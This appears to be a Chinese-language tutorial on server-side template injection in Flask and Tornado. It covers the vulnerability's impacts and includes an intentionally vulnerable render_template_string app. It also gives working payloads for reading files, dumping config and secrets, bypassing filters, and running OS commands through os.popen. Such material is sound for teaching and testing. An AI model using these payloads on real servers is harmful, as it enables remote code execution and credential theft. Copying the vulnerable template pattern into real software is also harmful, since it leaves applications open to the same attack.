解释:SSTI(Server-Side Template Injection)是一种在服务器端模板中注入恶意代码的攻击技术。它利用了模板引擎的漏洞,使攻击者能够将恶意代码插入到模板中,在服务器端执行这些代码,例如python的flask就存在容易出现这个问题。
危害:
代码执行:攻击者可以通过SSTI注入在服务器端执行任意代码,包括命令执行、远程文件包含等攻击。这可能导致服务器被完全控制,进一步导致数据泄漏、服务器崩溃或恶意操作。
敏感信息泄露:攻击者可以通过SSTI注入获取服务器上的敏感信息,如数据库连接字符串、API密钥等。这可能导致用户数据泄露、系统被入侵或身份盗窃等问题。
垂直和横向越权:通过SSTI注入,攻击者可能访问到非授权的数据或功能,实施垂直或横向越权行为。这可能导致用户权限被提升、重要数据被访问或其他合法用户遭受影响。
DoS攻击:攻击者可以通过SSTI注入导致服务器负载过高,从而拒绝服务,使网站或应用程序无法正常运行。
例如:{{''[request.args.a]}}?a=__class__
相当于{{''.__class__}}
读取文件:{{''[request.args.a][request.args.b][2][request.args.c]()[40](文件的路径)[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
(下面有非绕过读取的方法)
.
绕过{{''.__class__}}等价于{{''["__class__"]}}
{{''["__class__"]}}等价于{{"".__getattribute__("__class__")}}
{{''["__class__"]}}等价于{{"".__getattribute__("__cla""ss__")}}
示例:
python
# render_template则不会出现这个ssti注入的问题,会自动转义
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
user_input = request.args.get('flag')
html = '''%s''' % user_input
return render_template_string(html)
return render_template_string('use get')
if __name__ == '__main__':
app.run(debug=True)
__class__ 返回类型所属的对象
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__dict__ 保存类实例或对象实例的属性变量键值对字典
{{config}}
{{self.__dict__._TemplateReference__context.config}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
测试代码:http://127.0.0.1:5000/?flag={{ config.__class__.__init__.__globals__['os'].popen('ipconfig').read() }}
config.__class__.__init__.__globals__['os'].popen('ipconfig').read()
:通过ipconfig如果有打印可以得知对方为windows;若ifconfig有打印则对方为linux代码:{{''.__class__.__mro__[2].__subclasses__()[40](文件的路径).read() }}
解释:tornado有时也存在类似的问题,这里就不去探究具体的原理,大家可以在网上查询相关文章tornado模板注入
,可以尝试的注入代码{{ handler.settings }}